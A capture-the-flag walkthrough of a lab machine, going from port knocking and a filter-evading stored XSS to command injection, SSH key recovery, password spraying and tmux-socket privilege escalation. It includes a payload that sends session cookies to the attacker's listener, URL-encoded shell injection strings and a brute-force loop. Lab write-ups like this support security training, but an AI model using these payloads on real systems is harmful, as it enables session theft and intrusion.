Misguided Ghosts — Full Walkthrough (0 → root.txt)
Platform: TryHackMe · Difficulty: Hard
Target:10.113.167.11
OS: Linux — Ubuntu 18.04.5 host, Alpine 3.11.5 Docker container
Attacker:192.168.176.34(tun0)Flags
- user:
{d0ck3r_35c4p3}- root:
{p1v0t1ng_15_fun}HTTP tooling note: every HTTP request in this walkthrough is shown as a raw
HTTP/1.1 request. During the engagement they were sent through Burp
(send_http1_request/ Repeater), notcurl. Shell commands are shown as run.
Contents
- Scope and variables
- Initial footprint
- Enumeration — full port scan
- Service enumeration
- Anonymous FTP
- PCAP analysis — the hidden clue
- Port knocking → 8080
- HTTPS service recon
- Web login
- Mapping the XSS filter
- Stored XSS → admin cookie
- Admin session and /photos
- Command injection → container root
- Container and deployment enumeration
- Host-mounted notes
- Recovering the Vigenère-ciphered RSA key
- SSH as zac
- Host enumeration and SMB discovery
- SMB tunnel and password list
- Hayley credentials and user flag
- tmux socket hijack → root
- Cleanup
- Appendix A — credentials and ports
- Appendix B — gotchas and dead ends
0. Scope and variables
Only 10.113.167.11 is in scope. The public blog/writeup was read as passive context only;
all testing was executed against the lab.
export TARGET=10.113.167.11
export ATTACKER=192.168.176.34 # tun0 address; substitute your own
export LPORT=8000
mkdir -p recon loot evidence reports
1. Initial footprint
Confirm the host is reachable and infer the OS from the TTL.
ping -c 4 "$TARGET"
The reply TTL was 62, which (starting at 64) indicates Linux, not Windows. That
immediately ruled out the AD/Windows privesc references and pointed at Linux.
Gotcha: the target intermittently drops ICMP. Later scans use
-Pn.
2. Enumeration — full port scan
A fast full-range scan first; then a slower confirmation because the first pass hit the
retransmission cap.
nmap -p- --min-rate 3000 -T4 -oN recon/allports.txt "$TARGET"
nmap -Pn -p- -sS -T2 --min-rate 500 --max-retries 2 -oN recon/allports2.txt "$TARGET"
Result — only two ports:
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
No web port. That is the first sign the web service is deliberately hidden behind a knock.
3. Service enumeration
nmap -Pn -p21,22 -sV -sC --version-all -oN recon/services.txt "$TARGET"
Key output:
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Aug 28 2020 pub
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
Two useful facts:
-
Anonymous FTP is allowed and exposes a
pubdirectory. - The SSH banner confirms Ubuntu Linux.
4. Anonymous FTP
Download the pub directory anonymously.
wget -r ftp://anonymous@10.113.167.11/
Files:
pub/info.txt
pub/jokes.txt
pub/trace.pcapng
info.txt:
I have included all the network info you requested, along with some of my favourite jokes.
- Paramore
jokes.txt is a knock-knock joke — flavour, but also a hint at the next step.
trace.pcapng is the actual clue.
5. PCAP analysis — the hidden clue
Read the capture before scanning harder. Look for bare SYNs (no ACK) — a sequence of
high ports like this is a port-knock.
tshark -r trace.pcapng \
-Y 'tcp.flags.syn==1 && tcp.flags.ack==0' \
-T fields -e ip.src -e ip.dst -e tcp.dstport | sort | uniq -c
Output (one SYN to each port, in capture order):
192.168.236.128 -> 192.168.236.131 : 7864
192.168.236.128 -> 192.168.236.131 : 8273
192.168.236.128 -> 192.168.236.131 : 9241
192.168.236.128 -> 192.168.236.131 : 12007
192.168.236.128 -> 192.168.236.131 : 60753
Also pull DNS and TLS SNI for context:
tshark -r trace.pcapng -Y dns -T fields -e dns.qry.name | sort -u
tshark -r trace.pcapng -Y tls.handshake.extensions_server_name \
-T fields -e tls.handshake.extensions_server_name | sort -u
bobloblaw321.wixsite.com
www.jake-ruston.com
The five SYNs are the knock sequence:
7864 8273 9241 12007 60753
6. Port knocking → 8080
Timing matters. A slow, one-port-at-a-time knock appears to do nothing; the sequence must
arrive within a short window. A loop with ~0.15 s spacing works:
for p in 7864 8273 9241 12007 60753; do
nc -z -w1 "$TARGET" "$p"
sleep 0.15
done
Then verify the newly opened port:
nmap -Pn -p8080 -sV "$TARGET"
8080/tcp open ssl/http Werkzeug/1.0.1 Python/2.7.18
The port stays open for the rest of the session once knocked.
Gotcha:
knockis not installed on this host; thenc -zloop is sufficient.
7. HTTPS service recon
8080 is HTTPS with a self-signed certificate. Read the certificate for names/emails:
openssl s_client -connect "$TARGET:8080" </dev/null 2>/dev/null \
| openssl x509 -noout -subject -issuer -ext subjectAltName
Observed:
subject=CN = misguided_ghosts.thm
emailAddress = zac@misguided_ghosts.thm
So the app knows about zac. Browse the root (raw Burp request):
GET / HTTP/1.1
Host: 10.113.167.11:8080
Connection: close
The page is a "Misguided Ghosts" login/dashboard app.
8. Web login
The certificate leaked a username, and the app is a lab — try the obvious pair.
zac:zac works.
Raw request:
POST /login HTTP/1.1
Host: 10.113.167.11:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Connection: close
username=zac&password=zac
Response:
HTTP/1.0 302 FOUND
Location: /dashboard
Set-Cookie: login=zac_from_paramore
Authenticated as zac with cookie login=zac_from_paramore.
The dashboard allows a user to store a post (title + subtitle). Only the latest post per
user is rendered in "Your posts", so re-post to update a payload.
9. Mapping the XSS filter
Before writing a payload, map the filter with benign probes. The form rejects a request if
the title or subtitle contains:
- a raw
<or>; - an event handler matching
on[a-z]*=; - a numeric parenthesised expression matching
\([0-9]+\).
Then it does one .replace('script', '') and then HTML-unescapes the value.
The server-side logic (confirmed later in app.py):
def xss(title, subtitle):
return True in [
'<' in title or '<' in subtitle,
'>' in title or '>' in subtitle,
re.search(' on[a-z]*=|\\([0-9]+\\)', title, re.IGNORECASE) is not None,
re.search(' on[a-z]*=|\\([0-9]+\\)', subtitle, re.IGNORECASE) is not None
]
post = (
escape(request.form['title'].replace('script', '')),
escape(request.form['subtitle'].replace('script', ''))
)
escape() is HTMLParser().unescape() — so entities are decoded after the checks.
That ordering is the bug.
Practical consequences:
| Input | Result |
|---|---|
<script>alert(1)</script> |
rejected (raw </>) |
<script>... |
passes the check, then decodes to a real tag |
script |
deleted once |
sscriptcript |
after one replace → script
|
onerror= |
rejected |
alert(1) |
rejected by \([0-9]+\)
|
So: entity-encode the brackets, double the tag word, and avoid parentheses/event handlers.
10. Stored XSS → admin cookie
Start a listener on the attacker host:
python3 -m http.server "$LPORT"
Payload (entered as the post title or subtitle):
<sscriptcript>document.location='http://192.168.176.34:8000/probe?c='+document.cookie</sscriptcript>
After the filter:
- syntax checks pass (no raw
</>, noon*=, no(digits)); -
.replace('script','')turnssscriptcriptintoscript; -
unescape()turns the entities into<and>; - the browser receives:
<script>document.location='http://192.168.176.34:8000/probe?c='+document.cookie</script>
No parentheses and no event handler are needed — document.location = URL + string is
valid JavaScript.
The admin bot visited the post roughly every two minutes. Listener log:
GET /probe?c=login%3Dhayley_is_admin
URL-decoded:
login=hayley_is_admin
That is the administrator session cookie. Save it:
echo 'login=hayley_is_admin' > evidence/admin_cookie.txt
11. Admin session and /photos
Replay the stolen cookie against the dashboard:
GET /dashboard HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=hayley_is_admin
Connection: close
Response: 200 OK, page contains Welcome, Hayley.
Now enumerate the admin-only surface. /photos behaves differently by role:
GET /photos HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=zac_from_paramore
Connection: close
→ redirect/404.
GET /photos HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=hayley_is_admin
Connection: close
→ 200 OK, an upload form that submits ?image=.
Save the page for evidence:
# response body saved as evidence/photos.html
12. Command injection → container root
The /photos handler takes image from the query string. Source:
@app.route('/photos', methods=['GET'])
def photos():
img = None
login = request.cookies.get('login')
image = request.args.get('image')
if login != hayley_cookie:
return redirect(url_for('dashboard'), code=404)
if image:
image = image.replace(' ', '')
try:
img = str(subprocess.check_output('ls ' + image, shell=True))
except:
img = 'cannot access \'' + image + '\': No such file or directory'
return render_template('photos.html', image=img)
subprocess.check_output('ls ' + image, shell=True) is the sink. The only filter is
image.replace(' ', ''), so use ${IFS} wherever a space is needed.
Probe with id:
GET /photos?image=%2Fetc%2Fpasswd%3Bid HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=hayley_is_admin
Connection: close
The page's <pre> contains:
/etc/passwd
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...
So the web app runs as root inside the container.
The encoding rule for any command:
image = "/etc/passwd;" + command.replace(" ", "${IFS}")
then URL-encode the whole value
Useful encoded requests:
| Command |
image value |
URL-encoded |
|---|---|---|
id |
/etc/passwd;id |
%2Fetc%2Fpasswd%3Bid |
cat /app/app.py |
/etc/passwd;cat${IFS}/app/app.py |
%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fapp%2Fapp.py |
cat /app/start.sh |
/etc/passwd;cat${IFS}/app/start.sh |
%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fapp%2Fstart.sh |
cat /app/Dockerfile |
/etc/passwd;cat${IFS}/app/Dockerfile |
%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fapp%2FDockerfile |
ls -la /home/zac/notes |
/etc/passwd;ls${IFS}-la${IFS}/home/zac/notes |
%2Fetc%2Fpasswd%3Bls%24%7BIFS%7D-la%24%7BIFS%7D%2Fhome%2Fzac%2Fnotes |
cat /home/zac/notes/.secret |
/etc/passwd;cat${IFS}/home/zac/notes/.secret |
%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fhome%2Fzac%2Fnotes%2F.secret |
cat /home/zac/notes/.id_rsa |
/etc/passwd;cat${IFS}/home/zac/notes/.id_rsa |
%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fhome%2Fzac%2Fnotes%2F.id_rsa |
Gotcha: in a shell wrapper, do not write
\${IFS}— the backslash is sent literally
and the command fails withcannot access '...\${IFS}...'. Emit a real${IFS}.
13. Container and deployment enumeration
Read the app and launcher:
GET /photos?image=%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fapp%2Fstart.sh HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=hayley_is_admin
Connection: close
/app/start.sh:
#!/bin/bash
/usr/bin/docker build -t https /var/www/https
/usr/bin/docker container run --detach --privileged --restart=unless-stopped \
-p 8080:8080 \
--mount type=bind,source="/home/zac/notes",target=/home/zac/notes https
Two critical facts:
- the container is
--privileged; - the host directory
/home/zac/notesis bind-mounted into it.
/app/Dockerfile:
FROM python:2.7-alpine
MAINTAINER jakeyee and bobloblaw
COPY . /app
WORKDIR /app
RUN pip install -r requirements.txt
EXPOSE 8080
ENTRYPOINT ["python"]
CMD ["app.py"]
Container identity:
hostname # 67397bb74710
cat /etc/os-release
# NAME="Alpine Linux"
# VERSION_ID=3.11.5
14. Host-mounted notes
Because the host directory is mounted, the container can read it directly.
GET /photos?image=%2Fetc%2Fpasswd%3Bls%24%7BIFS%7D-la%24%7BIFS%7D%2Fhome%2Fzac%2Fnotes HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=hayley_is_admin
Connection: close
Listing includes .secret and .id_rsa.
.secret:
Zac,
I know you can never remember your password, so I left your private key here so you don't
have to use a password. I ciphered it in case we suffer another hack, but I know you
remember how to get the key to the cipher if you can't remember that either.
- Paramore
.id_rsa is not a usable PEM — it is the base64 key body with a substitution cipher.
Save it locally:
# paste the response body into:
loot/zac/id_rsa.ciphered
15. Recovering the Vigenère-ciphered RSA key
The note says "I ciphered it … remember how to get the key to the cipher". A 2048-bit
PKCS#1 RSA private key's base64 body starts with a known prefix, usually
MIIEowIBAAKCAQEA. That is enough to derive the Vigenère key stream.
Derive the first 16 key characters:
ct = "".join(open("loot/zac/id_rsa.ciphered").read().split())
known = "MIIEowIBAAKCAQEA"
stream = "".join(
chr((ord(c.upper()) - ord(p.upper())) % 26 + ord('a'))
for c, p in zip(ct, known)
if c.isalpha() and p.isalpha()
)
print(stream)
# butterflybutterf
The repeating key is butterfly.
Decrypt the whole body:
import base64
ct = "".join(open("loot/zac/id_rsa.ciphered").read().split())
key = "butterfly"
out, ki = [], 0
for ch in ct:
if ch.isalpha():
sh = ord(key[ki % len(key)]) - ord('a')
base = ord('A') if ch.isupper() else ord('a')
out.append(chr((ord(ch) - base - sh) % 26 + base))
ki += 1
else:
out.append(ch)
body = "".join(out)
pem = (
"-----BEGIN RSA PRIVATE KEY-----\n"
+ "\n".join(body[i:i+64] for i in range(0, len(body), 64))
+ "\n-----END RSA PRIVATE KEY-----\n"
)
open("loot/zac/id_rsa", "w").write(pem)
Critical detail: the key advances only on alphabetic characters. Digits, +, and /
are copied unchanged and do not consume a key character. Advancing on every character
produces a DER that looks plausible but fails ASN.1 parsing.
Validate and lock down permissions:
chmod 600 loot/zac/id_rsa
openssl rsa -in loot/zac/id_rsa -check -noout
# RSA key ok
16. SSH as zac
ssh -i loot/zac/id_rsa \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
zac@10.113.167.11 'id; hostname; cat /etc/os-release | head -2'
uid=1001(zac) gid=1001(zac) groups=1001(zac)
misguided_ghosts
NAME="Ubuntu"
VERSION="18.04.5 LTS (Bionic Beaver)"
We are now on the host, not the container.
17. Host enumeration and SMB discovery
ssh -i loot/zac/id_rsa zac@10.113.167.11 '
echo "== id =="; id
echo "== home =="; ls -la /home/zac
echo "== /home =="; ls -la /home
echo "== listening =="; ss -tlnp
echo "== samba =="; ps aux | grep -Ei "smb|samba" | grep -v grep
'
Findings:
-
/home/zac/notesis the same directory that was mounted into the container. -
/home/hayleyisdrwxr-x--- hayley hayley— not readable aszac. - SMB is listening, but only on loopback:
LISTEN 0 128 127.0.0.1:139 0.0.0.0:*
LISTEN 0 128 127.0.0.1:445 0.0.0.0:*
Read the Samba config:
cat /etc/samba/smb.conf
Relevant share:
[local]
comment = Local list of passwords for our services
path = /var/smb
read only = yes
browsable = yes
guest ok = yes
guest ok = yes means anonymous access. But the service is bound to localhost, so we need
a tunnel.
18. SMB tunnel and password list
Forward the target's localhost 445 to the attacker's localhost 1445 over the existing
SSH session:
ssh -f -N \
-o ExitOnForwardFailure=yes \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-i loot/zac/id_rsa \
-L 127.0.0.1:1445:127.0.0.1:445 \
zac@10.113.167.11
List shares and download the file:
smbclient -L //127.0.0.1 -p 1445 -N
smbclient //127.0.0.1/local -p 1445 -N -c 'ls; get passwords.bak'
passwords.bak contains 20 candidate passwords (lab data):
pft7vPl
HQ@5Y64
Ls7kZxv
KPBRFJz
fKtBSbx
FWbnrxr
Kz#SPqn
c4CTRWm
5asYk73
WikHqvi
aBc123!
JPXxIMs
AHwbOmm
tXWsJ3J
QJPQWW0
3bmBhNv
xV!sce1
1bJP1af
DLH4cgw
bRBdPRk
19. Hayley credentials and user flag
Try each password once over SSH as hayley:
while read -r p; do
out=$(sshpass -p "$p" ssh \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o ConnectTimeout=8 \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
hayley@10.113.167.11 'id' 2>/dev/null)
if [ -n "$out" ]; then
echo "FOUND: $p => $out"
break
fi
done < loot/passwords.bak
Result:
FOUND: aBc123! => uid=1000(hayley) gid=1000(hayley) groups=1000(hayley),1002(paramore)
Note the paramore group — that is the privesc key.
Read the user flag:
sshpass -p 'aBc123!' ssh hayley@10.113.167.11 'cat /home/hayley/user.txt'
{d0ck3r_35c4p3}
20. tmux socket hijack → root
Look for root processes:
sshpass -p 'aBc123!' ssh hayley@10.113.167.11 '
ps aux | grep -i "[t]mux"
find / -type s 2>/dev/null
'
root 1001 ... /usr/bin/tmux -S /opt/.details new -s vpn -d
...
/opt/.details
Check the socket permissions:
ls -la /opt/.details
srw-rw---- 1 root paramore 0 Oct 23 04:39 /opt/.details
The socket is owned by root:paramore with group read/write. hayley is in paramore,
so she can talk to the root-owned tmux server. Any command sent to that socket is
processed by the server, which runs as root.
Confirm the session:
tmux -S /opt/.details ls
vpn: 1 windows (created Fri Oct 23 04:39:56 2026) [80x24]
Run a command as root (no TTY/attach needed — new-session -d is detached):
tmux -S /opt/.details new-session -d \
"id > /tmp/.vi; cat /root/root.txt > /tmp/.vr"
cat /tmp/.vi
cat /tmp/.vr
uid=0(root) gid=0(root) groups=0(root)
{p1v0t1ng_15_fun}
Root flag: {p1v0t1ng_15_fun}.
Why this works: tmux authenticates to its server over a Unix socket. The server was started
by root and is group-readable/writable by paramore; a client in that group can issue
server commands, and those commands inherit the server's UID (root).
21. Cleanup
Remove the temporary files created during privesc, using the same root tmux context:
tmux -S /opt/.details new-session -d "rm -f /tmp/.vi /tmp/.vr"
ls /tmp/.vi /tmp/.vr
# No such file or directory
Stop the local tunnel and listener:
# kill by PID, not pkill -f (the pattern matches your own shell)
pid=$(ss -ltnp 2>/dev/null | grep ':1445 ' | grep -oE 'pid=[0-9]+' | head -1 | cut -d= -f2)
[ -n "$pid" ] && kill "$pid"
pid=$(ss -ltnp 2>/dev/null | grep ':8000 ' | grep -oE 'pid=[0-9]+' | head -1 | cut -d= -f2)
[ -n "$pid" ] && kill "$pid"
No persistence, no account changes, no service modification was left behind. The stored XSS
post lives only in the app's in-memory post global.
Appendix A — credentials and ports
| Item | Value |
|---|---|
| FTP | anonymous |
| Web login |
zac:zac → login=zac_from_paramore
|
| Admin cookie (stolen) | login=hayley_is_admin |
SSH zac
|
RSA key recovered from /home/zac/notes/.id_rsa
|
SSH hayley
|
aBc123! |
| Vigenère key | butterfly |
| Knock sequence | 7864 8273 9241 12007 60753 |
| Hidden web port |
8080/tcp HTTPS (Werkzeug 1.0.1 / Python 2.7.18) |
| SMB |
127.0.0.1:139/445, share [local], guest OK |
| tmux socket |
/opt/.details (srw-rw---- root:paramore) |
Appendix B — gotchas and dead ends
- TTL 62 / SSH banner = Linux. The scope template mentioned Windows AD; the actual target is Linux. Don't waste time on AD paths.
-
The target drops ICMP. Always scan with
-Pnafter the initial footprint. -
Knock timing is strict. Slow probes do nothing. The five ports must be hit in order
within a short window (~0.15 s spacing). Once open,
8080stays open. -
The knock opens HTTPS, not HTTP. Use
https:///usesHttps:true. -
XSS filter order is the bug. Checks run before entity decoding, and
scriptis removed only once. Use</>+sscriptcript; avoidon*=and numeric parentheses. -
Spaces are stripped in
?image=. Use${IFS}. In a shell wrapper, don't emit\${IFS}— the backslash is sent literally. -
The Vigenère key advances only on letters. Digits,
+,/are unchanged and do not consume a key character. The other variant yields invalid ASN.1. -
SMB is localhost-only. A direct scan will never show it; forward it with
ssh -L 1445:127.0.0.1:445. -
pkill -f "<forward string>"kills your own shell because the pattern appears in the invoking command line. Kill by PID fromss -ltnp. - Only the latest post per user is shown. Re-post to update the XSS payload.
-
The privileged container also allows a cgroup
release_agentescape to host root. It was available but not executed; the mounted key + tmux path was lower impact. -
Public blog screenshots were unreliable (
static.wixstatic.comreset TLS, Wayback partly offline). The chain above was derived directly from the target.

Top comments (0)